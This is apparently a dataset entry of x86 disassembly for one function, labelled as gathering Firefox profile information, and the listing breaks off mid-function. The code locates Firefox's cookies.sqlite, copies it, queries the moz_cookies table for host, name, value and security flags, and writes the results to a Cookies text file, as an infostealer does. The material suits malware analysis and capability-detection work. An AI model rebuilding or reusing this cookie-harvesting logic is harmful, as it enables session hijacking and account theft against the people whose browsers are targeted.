Function at 0x431ee0
Capabilities:
Gather firefox profile information
Get common file path

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x65b4d6
mov eax, dword fs:[0]
push eax
push ecx
push ebx
sub esp, 0x578
mov eax, dword [0x6d6ec0]
xor eax, ebp
mov dword [ebp - 0x1c], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
xor edi, edi
lea eax, [ebp - 0x228]
push eax
push edi
push edi
push 0x1a
push edi
mov dword [ebp - 0x4b0], edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x432585
xorps xmm0, xmm0
mov dword [ebp - 0x31c], edi
lea ecx, [ebp - 0x228]
mov dword [ebp - 0x318], edi
movups xmmword [ebp - 0x32c], xmm0
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x431f66
sub ecx, edx
lea eax, [ebp - 0x228]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x32c]
call fcn.00423ce0
mov dword [ebp - 4], 0
lea edx, [ebp - 0x32c]
xorps xmm0, xmm0
mov dword [ebp - 0x2bc], 0
lea ecx, [ebp - 0x2c4]
movq qword [ebp - 0x2c4], xmm0
call fcn.004318f0
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x2c0]
mov esi, dword [ebp - 0x2c4]
mov dword [ebp - 0x518], eax
mov dword [ebp - 0x4e8], esi
cmp esi, dword [ebp - 0x518]
je 0x433ca6
push 0x38
xorps xmm0, xmm0
mov dword [ebp - 0x524], esi
push str.92_99_111_111_107_105_101_115_46_115_113_108_105_116_101
lea ecx, [ebp - 0x288]
mov dword [ebp - 0x278], 0
movups xmmword [ebp - 0x288], xmm0
mov dword [ebp - 0x274], 0
call fcn.00423ce0
lea edx, [ebp - 0x288]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2a0]
call fcn.00421f10
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x274]
cmp ecx, 7
jbe 0x43206c
mov edx, dword [ebp - 0x288]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x432062
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433de0
push ecx
push edx
call fcn.0061f90d
add esp, 8
cmp dword [ebp - 0x28c], 0xf
lea ecx, [ebp - 0x2a0]
mov eax, dword [ebp - 0x290]
cmova ecx, dword [ebp - 0x2a0]
add eax, ecx
cmp dword [ebp - 0x28c], 0xf
lea ecx, [ebp - 0x2a0]
cmova ecx, dword [ebp - 0x2a0]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x53c]
call fcn.00459b80
mov esi, dword [ebp - 0x4e8]
mov ecx, esi
mov byte [ebp - 4], 5
cmp dword [esi + 0x14], 7
jbe 0x4320be
mov ecx, dword [esi]
push dword [esi + 0x10]
push ecx
push ecx
mov ecx, eax
call fcn.00466f10
xor ecx, ecx
or edi, 1
movups xmm0, xmmword [eax]
movq xmm1, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
movups xmmword [ebp - 0x258], xmm0
movq qword [ebp - 0x248], xmm1
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x528]
cmp ecx, 7
jbe 0x43213b
mov edx, dword [ebp - 0x53c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x432131
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433cf4
push ecx
push edx
call fcn.0061f90d
add esp, 8
xor eax, eax
mov dword [ebp - 0x52c], 0
lea edx, [ebp - 0x2cc]
mov dword [ebp - 0x528], 7
lea ecx, [ebp - 0x258]
mov word [ebp - 0x53c], ax
mov dword [ebp - 0x2cc], eax
mov dword [ebp - 0x2c8], 0x6d79c0
call fcn.00409710
cmp dword [ebp - 0x2cc], 0
jne 0x433cf9
test al, al
je 0x433bff
push 0x4e
xorps xmm0, xmm0
mov dword [ebp - 0x278], 0
push str.92_70_114_101_100_121_95_67_111_111_107_105_101_115_46_115_113_108_105_116_101
lea ecx, [ebp - 0x288]
mov dword [ebp - 0x274], 0
movups xmmword [ebp - 0x288], xmm0
call fcn.00423ce0
lea edx, [ebp - 0x288]
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x2b8]
call fcn.00421f10
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x274]
cmp ecx, 7
jbe 0x432217
mov edx, dword [ebp - 0x288]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43220d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433ddb
push ecx
push edx
call fcn.0061f90d
add esp, 8
cmp dword [ebp - 0x2a4], 0xf
lea ecx, [ebp - 0x2b8]
mov eax, dword [ebp - 0x2a8]
cmova ecx, dword [ebp - 0x2b8]
add eax, ecx
cmp dword [ebp - 0x2a4], 0xf
lea ecx, [ebp - 0x2b8]
cmova ecx, dword [ebp - 0x2b8]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x554]
call fcn.00459b80
mov esi, dword [ebp - 0x4e8]
mov ecx, esi
mov byte [ebp - 4], 0xb
cmp dword [esi + 0x14], 7
jbe 0x432269
mov ecx, dword [esi]
push dword [esi + 0x10]
push ecx
push ecx
mov ecx, eax
call fcn.00466f10
xor ecx, ecx
or edi, 2
mov dword [ebp - 0x4ac], edi
mov dword [ebp - 0x4b0], edi
movups xmm0, xmmword [eax]
movq xmm1, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
movups xmmword [ebp - 0x240], xmm0
movq qword [ebp - 0x230], xmm1
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x540]
cmp ecx, 7
jbe 0x4322f2
mov edx, dword [ebp - 0x554]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4322e8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433d10
push ecx
push edx
call fcn.0061f90d
add esp, 8
xor eax, eax
mov dword [ebp - 0x544], 0
lea edx, [ebp - 0x2d4]
mov dword [ebp - 0x540], 7
lea ecx, [ebp - 0x240]
mov word [ebp - 0x554], ax
mov dword [ebp - 0x2d4], eax
mov dword [ebp - 0x2d0], 0x6d79c0
call fcn.00409710
cmp dword [ebp - 0x2d4], 0
jne 0x433d15
test al, al
je 0x432363
cmp dword [ebp - 0x22c], 7
lea eax, [ebp - 0x240]
cmova eax, dword [ebp - 0x240]
push eax
call fcn.0060bb93
test edx, edx
jne 0x433d2c
cmp dword [ebp - 0x22c], 7
lea ecx, [ebp - 0x240]
push 0
cmova ecx, dword [ebp - 0x240]
lea eax, [ebp - 0x258]
cmp dword [ebp - 0x244], 7
push ecx
cmova eax, dword [ebp - 0x258]
push eax
call fcn.0060b45f
lea eax, [ebp - 0x240]
test edx, edx
jne 0x433d3d
cmp dword [ebp - 0x22c], 7
lea ecx, [ebp - 0x4a8]
push ecx
cmova eax, dword [ebp - 0x240]
push eax
call fcn.00565130
add esp, 8
test eax, eax
je 0x4325a3
push dword [ebp - 0x4a8]
call fcn.005634c0
mov ecx, dword [ebp - 0x22c]
add esp, 4
cmp ecx, 7
jbe 0x432416
mov edx, dword [ebp - 0x240]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43240c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433ddb
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x2a4]
xor eax, eax
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x22c], 7
mov word [ebp - 0x240], ax
cmp ecx, 0xf
jbe 0x43246d
mov edx, dword [ebp - 0x2b8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x432463
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433ddb
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x244]
mov dword [ebp - 0x2a8], 0
mov dword [ebp - 0x2a4], 0xf
mov byte [ebp - 0x2b8], 0
cmp ecx, 7
jbe 0x4324c8
mov edx, dword [ebp - 0x258]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4324be
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433ddb
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x28c]
xor eax, eax
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x244], 7
mov word [ebp - 0x258], ax
cmp ecx, 0xf
jbe 0x43251f
mov edx, dword [ebp - 0x2a0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x432515
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433ddb
push ecx
push edx
call fcn.0061f90d
add esp, 8
lea ecx, [ebp - 0x2c4]
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x28c], 0xf
mov byte [ebp - 0x2a0], 0
call fcn.00440cc0
mov ecx, dword [ebp - 0x318]
cmp ecx, 7
jbe 0x432585
mov edx, dword [ebp - 0x32c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43257b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433ddb
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0061f478
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0
lea eax, [ebp - 0x4a4]
push eax
push 0xffffffffffffffff
push str.SELECT_host__name__path__expiry__value__isSecure__isHttpOnly_FROM_moz_cookies
push dword [ebp - 0x4a8]
call fcn.00565d50
add esp, 0x14
test eax, eax
jne 0x4323c8
nop dword [eax]
push dword [ebp - 0x4a4]
call fcn.00566a80
add esp, 4
cmp eax, 0x64
jne 0x433a3f
mov byte [ebp - 4], 0xe
push 0
push dword [ebp - 0x4a4]
call fcn.00566f50
push 1
push dword [ebp - 0x4a4]
mov dword [ebp - 0x514], eax
call fcn.00566f50
push 2
push dword [ebp - 0x4a4]
mov dword [ebp - 0x510], eax
call fcn.00566f50
push 3
push dword [ebp - 0x4a4]
mov dword [ebp - 0x50c], eax
call fcn.00566f50
push 4
push dword [ebp - 0x4a4]
mov dword [ebp - 0x508], eax
call fcn.00566f50
push 5
push dword [ebp - 0x4a4]
mov dword [ebp - 0x504], eax
call fcn.00566f50
push 6
push dword [ebp - 0x4a4]
mov esi, eax
mov dword [ebp - 0x51c], esi
call fcn.00566f50
mov edi, eax
add esp, 0x38
mov eax, dword [ebp - 0x514]
mov dword [ebp - 0x4f4], edi
test eax, eax
je 0x433a2d
mov ecx, eax
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x432690
sub ecx, edx
je 0x433a2d
mov eax, dword [ebp - 0x510]
test eax, eax
je 0x433a2d
mov ecx, eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4326b2
sub ecx, edx
je 0x433a2d
mov eax, dword [ebp - 0x50c]
test eax, eax
je 0x433a2d
mov ecx, eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4326d4
sub ecx, edx
je 0x433a2d
mov eax, dword [ebp - 0x508]
test eax, eax
je 0x433a2d
mov ecx, eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4326f6
sub ecx, edx
je 0x433a2d
mov eax, dword [ebp - 0x504]
test eax, eax
je 0x433a2d
mov ecx, eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x432718
sub ecx, edx
je 0x433a2d
test esi, esi
je 0x433a2d
test edi, edi
je 0x433a2d
push 0x1d
xorps xmm0, xmm0
mov dword [ebp - 0x4bc], 0
push str.92_67_111_111_107_105_101_115
lea ecx, [ebp - 0x4cc]
mov dword [ebp - 0x4b8], 0
movups xmmword [ebp - 0x4cc], xmm0
call fcn.00423ce0
lea edx, [ebp - 0x4cc]
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x288]
call fcn.00421f10
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x4b8]
cmp ecx, 7
jbe 0x4327c0
mov edx, dword [ebp - 0x4cc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4327b6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433dae
push ecx
push edx
call fcn.0061f90d
add esp, 8
cmp dword [ebp - 0x274], 0xf
lea ecx, [ebp - 0x288]
mov eax, dword [ebp - 0x278]
cmova ecx, dword [ebp - 0x288]
add eax, ecx
cmp dword [ebp - 0x274], 0xf
lea ecx, [ebp - 0x288]
cmova ecx, dword [ebp - 0x288]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x56c]
call fcn.00459b80
mov ecx, eax
mov byte [ebp - 4], 0x12
mov eax, 0x6ee414
cmp dword [0x6ee428], 7
push dword [0x6ee424]
cmova eax, dword [0x6ee414]
push eax
push ecx
call fcn.00466f10
mov edi, dword [ebp - 0x4ac]
xorps xmm0, xmm0
movups xmmword [ebp - 0x270], xmm0
mov dword [ebp - 0x260], 0
xor ecx, ecx
mov dword [ebp - 0x25c], 0
or edi, 4
movups xmm0, xmmword [eax]
mov dword [ebp - 0x4b0], edi
movups xmmword [ebp - 0x270], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x260], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x558]
cmp ecx, 7
jbe 0x4328bf
mov edx, dword [ebp - 0x56c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4328b5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433d4f
push ecx
push edx
call fcn.0061f90d
add esp, 8
push dword [ebp - 0x260]
xor eax, eax
mov dword [ebp - 0x55c], 0
cmp dword [ebp - 0x25c], 7
lea ecx, [ebp - 0x4cc]
mov word [ebp - 0x56c], ax
xorps xmm0, xmm0
lea eax, [ebp - 0x270]
mov dword [ebp - 0x558], 7
cmova eax, dword [ebp - 0x270]
push eax
movups xmmword [ebp - 0x4cc], xmm0
mov dword [ebp - 0x4bc], 0
mov dword [ebp - 0x4b8], 0
call fcn.00423ce0
or edi, 0x18
mov dword [ebp - 0x4b0], edi
mov byte [ebp - 4], 0x15
lea edx, [ebp - 0x2dc]
lea ecx, [ebp - 0x4cc]
mov dword [ebp - 0x2dc], 0
mov dword [ebp - 0x2d8], 0x6d79c0
call fcn.00409710
cmp dword [ebp - 0x2dc], 0
mov byte [ebp - 0x4b1], al
jne 0x433d54
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x4b8]
cmp ecx, 7
jbe 0x4329af
mov edx, dword [ebp - 0x4cc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43299f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433d6b
push ecx
push edx
call fcn.0061f90d
mov al, byte [ebp - 0x4b1]
add esp, 8
test al, al
jne 0x432a71
cmp dword [ebp - 0x25c], 7
lea eax, [ebp - 0x270]
push dword [ebp - 0x260]
cmova eax, dword [ebp - 0x270]
lea ecx, [ebp - 0x4cc]
xorps xmm0, xmm0
mov dword [ebp - 0x4bc], 0
push eax
movups xmmword [ebp - 0x4cc], xmm0
mov dword [ebp - 0x4b8], 0
call fcn.00423ce0
or edi, 0x6000
mov dword [ebp - 0x4b0], edi
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x4cc]
cmp dword [ebp - 0x4b8], 7
cmova eax, dword [ebp - 0x4cc]
push eax
call fcn.0060b5f9
test edx, edx
jne 0x433d70
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x4b8]
cmp ecx, 7
jbe 0x432a71
mov edx, dword [ebp - 0x4cc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x432a67
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433d81
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov esi, dword [ebp - 0x524]
sub esp, 8
mov ecx, esi
call fcn.00446a80
mov ecx, dword [esi + 0x10]
inc eax
mov dword [ebp - 0x394], 0
xorps xmm0, xmm0
mov dword [ebp - 0x390], 0
movups xmmword [ebp - 0x3a4], xmm0
cmp ecx, eax
jb 0x433d86
sub ecx, eax
or edx, 0xffffffff
cmp ecx, 0xffffffff
cmovb edx, ecx
cmp dword [esi + 0x14], 7
mov ecx, esi
jbe 0x432ac0
mov ecx, dword [esi]
lea eax, [ecx + eax*2]
push edx
push eax
lea ecx, [ebp - 0x3a4]
call fcn.00423ce0
or edi, 0x20
mov dword [ebp - 0x4b0], edi
mov byte [ebp - 4], 0x17
lea edx, [ebp - 0x270]
cmp dword [ebp - 0x25c], 7
lea ecx, [ebp - 0x4b1]
mov eax, dword [ebp - 0x260]
cmova edx, dword [ebp - 0x270]
push ecx
lea ecx, [ebp - 0x344]
lea eax, [edx + eax*2]
lea edx, [ebp - 0x270]
cmova edx, dword [ebp - 0x270]
push eax
push edx
call fcn.0045bbb0
mov byte [ebp - 4], 0x18
mov eax, SysReAllocString
mov ecx, dword [ebp - 0x334]
sub eax, ecx
cmp eax, 1
jb 0x433d8b
cmp dword [ebp - 0x330], 7
lea eax, [ebp - 0x344]
push 1
cmova eax, dword [ebp - 0x344]
push 0x6a6434
push ecx
push eax
lea eax, [ebp - 0x344]
push eax
push dword [ebp - 0x4f4]
lea ecx, [ebp - 0x4e4]
call fcn.00466fe0
or edi, 0x40
mov dword [ebp - 0x4ac], edi
mov dword [ebp - 0x4b0], edi
push str.Firefox_
lea eax, [ebp - 0x4e4]
mov byte [ebp - 4], 0x19
push eax
lea eax, [ebp - 0x584]
push eax
call fcn.00452ff0
add esp, 0xc
mov esi, eax
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x3a4]
mov eax, dword [ebp - 0x390]
cmp eax, 7
mov edi, dword [esi + 0x10]
mov edx, dword [ebp - 0x394]
mov dword [ebp - 0x500], eax
mov eax, dword [ebp - 0x3a4]
cmova ecx, eax
mov dword [ebp - 0x4fc], eax
mov eax, dword [esi + 0x14]
sub eax, edi
mov dword [ebp - 0x4ec], ecx
mov dword [ebp - 0x520], edi
cmp edx, eax
ja 0x432c20
cmp dword [esi + 0x14], 7
lea eax, [edi + edx]
mov dword [ebp - 0x4b0], eax
mov edi, esi
mov dword [esi + 0x10], eax
jbe 0x432bf6
mov edi, dword [esi]
mov eax, dword [ebp - 0x520]
lea ecx, [edi + eax*2]
lea eax, [edx + edx]
push eax
push dword [ebp - 0x4ec]
push ecx
call fcn.006217b0
mov eax, dword [ebp - 0x4b0]
add esp, 0xc
xor ecx, ecx
mov word [edi + eax*2], cx
jmp 0x432c4a
push edx
push ecx
push dword [ebp - 0x4f4]
mov ecx, esi
push edx
call fcn.0045e610
mov esi, eax
mov eax, dword [ebp - 0x390]
mov dword [ebp - 0x500], eax
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x4fc], eax
mov edi, dword [ebp - 0x4ac]
xorps xmm0, xmm0
movups xmmword [ebp - 0x4cc], xmm0
mov dword [ebp - 0x4bc], 0
xor eax, eax
mov dword [ebp - 0x4b8], 0
or edi, 0x80
movups xmm0, xmmword [esi]
mov dword [ebp - 0x4b0], edi
movups xmmword [ebp - 0x4cc], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x4bc], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
push str..txt
lea eax, [ebp - 0x4cc]
mov byte [ebp - 4], 0x1b
push eax
lea eax, [ebp - 0x3ec]
push eax
call fcn.00452ff0
add esp, 0xc
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x4b8]
cmp ecx, 7
jbe 0x432d07
mov edx, dword [ebp - 0x4cc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x432cfd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433d90
push ecx
push edx
call fcn.0061f90d
add esp, 8
xor eax, eax
mov dword [ebp - 0x4bc], 0
mov dword [ebp - 0x4b8], 7
mov word [ebp - 0x4cc], ax
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x570]
cmp ecx, 7
jbe 0x432d68
mov edx, dword [ebp - 0x584]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x432d5e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433d90
push ecx
push edx
call fcn.0061f90d
add esp, 8
xor eax, eax
mov dword [ebp - 0x574], 0
mov dword [ebp - 0x570], 7
mov word [ebp - 0x584], ax
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x4d0]
cmp ecx, 7
jbe 0x432dc9
mov edx, dword [ebp - 0x4e4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x432dbf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433d90
push ecx
push edx
call fcn.0061f90d
add esp, 8
xor eax, eax
mov dword [ebp - 0x4d4], 0
push 0xb0
push eax
mov word [ebp - 0x4e4], ax
lea eax, [ebp - 0x4a0]
push eax
mov dword [ebp - 0x4d0], 7
call fcn.00621d30
add esp, 4
lea eax, [ebp - 0x3ec]
lea ecx, [ebp - 0x4a0]
push 8
push eax
call fcn.00440a30
mov esi, dword [ebp - 0x514]
xorps xmm0, xmm0
mov ecx, esi
mov byte [ebp - 4], 0x20
movups xmmword [ebp - 0x4e4], xmm0
mov dword [ebp - 0x4d4], 0
mov dword [ebp - 0x4d0], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x432e40
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x4e4]
call fcn.004113d0
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x4e4]
cmp dword [ebp - 0x4d0], 0xf
mov eax, dword [ebp - 0x4d4]
cmova ecx, dword [ebp - 0x4e4]
add eax, ecx
cmp dword [ebp - 0x4d0], 0xf
lea ecx, [ebp - 0x4e4]
cmova ecx, dword [ebp - 0x4e4]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x3d4]
call fcn.00459b80
or edi, 0x100
mov dword [ebp - 0x4b0], edi
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x4d0]
cmp ecx, 0xf
jbe 0x432ee2
mov edx, dword [ebp - 0x4e4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x432ed8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433d95
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov esi, dword [ebp - 0x510]
xorps xmm0, xmm0
mov ecx, esi
mov dword [ebp - 0x4d4], 0
mov dword [ebp - 0x4d0], 0xf
mov byte [ebp - 0x4e4], 0
movups xmmword [ebp - 0x4cc], xmm0
mov dword [ebp - 0x4bc], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4b8], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x432f26
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x4cc]
call fcn.004113d0
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x4cc]
cmp dword [ebp - 0x4b8], 0xf
mov eax, dword [ebp - 0x4bc]
cmova ecx, dword [ebp - 0x4cc]
add eax, ecx
cmp dword [ebp - 0x4b8], 0xf
lea ecx, [ebp - 0x4cc]
cmova ecx, dword [ebp - 0x4cc]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x3bc]
call fcn.00459b80
or edi, 0x200
mov dword [ebp - 0x4b0], edi
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x4b8]
cmp ecx, 0xf
jbe 0x432fc8
mov edx, dword [ebp - 0x4cc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x432fbe
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433d9a
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov esi, dword [ebp - 0x50c]
xorps xmm0, xmm0
mov ecx, esi
mov dword [ebp - 0x4bc], 0
mov dword [ebp - 0x4b8], 0xf
mov byte [ebp - 0x4cc], 0
movups xmmword [ebp - 0x4e4], xmm0
mov dword [ebp - 0x4d4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4d0], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x433010
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x4e4]
call fcn.004113d0
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x4e4]
cmp dword [ebp - 0x4d0], 0xf
mov eax, dword [ebp - 0x4d4]
cmova ecx, dword [ebp - 0x4e4]
add eax, ecx
cmp dword [ebp - 0x4d0], 0xf
lea ecx, [ebp - 0x4e4]
cmova ecx, dword [ebp - 0x4e4]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x35c]
call fcn.00459b80
or edi, 0x400
mov dword [ebp - 0x4b0], edi
mov byte [ebp - 4], 0x29
mov ecx, dword [ebp - 0x4d0]
cmp ecx, 0xf
jbe 0x4330b2
mov edx, dword [ebp - 0x4e4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4330a8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433d9f
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov esi, dword [ebp - 0x508]
xorps xmm0, xmm0
mov ecx, esi
mov dword [ebp - 0x4d4], 0
mov dword [ebp - 0x4d0], 0xf
mov byte [ebp - 0x4e4], 0
movups xmmword [ebp - 0x4cc], xmm0
mov dword [ebp - 0x4bc], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4b8], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4330f6
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x4cc]
call fcn.004113d0
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x4cc]
cmp dword [ebp - 0x4b8], 0xf
mov eax, dword [ebp - 0x4bc]
cmova ecx, dword [ebp - 0x4cc]
add eax, ecx
cmp dword [ebp - 0x4b8], 0xf
lea ecx, [ebp - 0x4cc]
cmova ecx, dword [ebp - 0x4cc]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x38c]
call fcn.00459b80
or edi, 0x800
mov dword [ebp - 0x4b0], edi
mov byte [ebp - 4], 0x2c
mov ecx, dword [ebp - 0x4b8]
cmp ecx, 0xf
jbe 0x433198
mov edx, dword [ebp - 0x4cc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43318e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433da4
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov esi, dword [ebp - 0x504]
xorps xmm0, xmm0
mov ecx, esi
mov dword [ebp - 0x4bc], 0
mov dword [ebp - 0x4b8], 0xf
mov byte [ebp - 0x4cc], 0
movups xmmword [ebp - 0x4e4], xmm0
mov dword [ebp - 0x4d4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4d0], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4331e0
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x4e4]
call fcn.004113d0
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x4e4]
cmp dword [ebp - 0x4d0], 0xf
mov eax, dword [ebp - 0x4d4]
cmova ecx, dword [ebp - 0x4e4]
add eax, ecx
cmp dword [ebp - 0x4d0], 0xf
lea ecx, [ebp - 0x4e4]
cmova ecx, dword [ebp - 0x4e4]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x374]
call fcn.00459b80
or edi, 0x1000
mov dword [ebp - 0x4ac], edi
mov dword [ebp - 0x4b0], edi
mov byte [ebp - 4], 0x2f
mov ecx, dword [ebp - 0x4d0]
cmp ecx, 0xf
jbe 0x433288
mov edx, dword [ebp - 0x4e4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43327e
mov edx, dword [eax - 4]
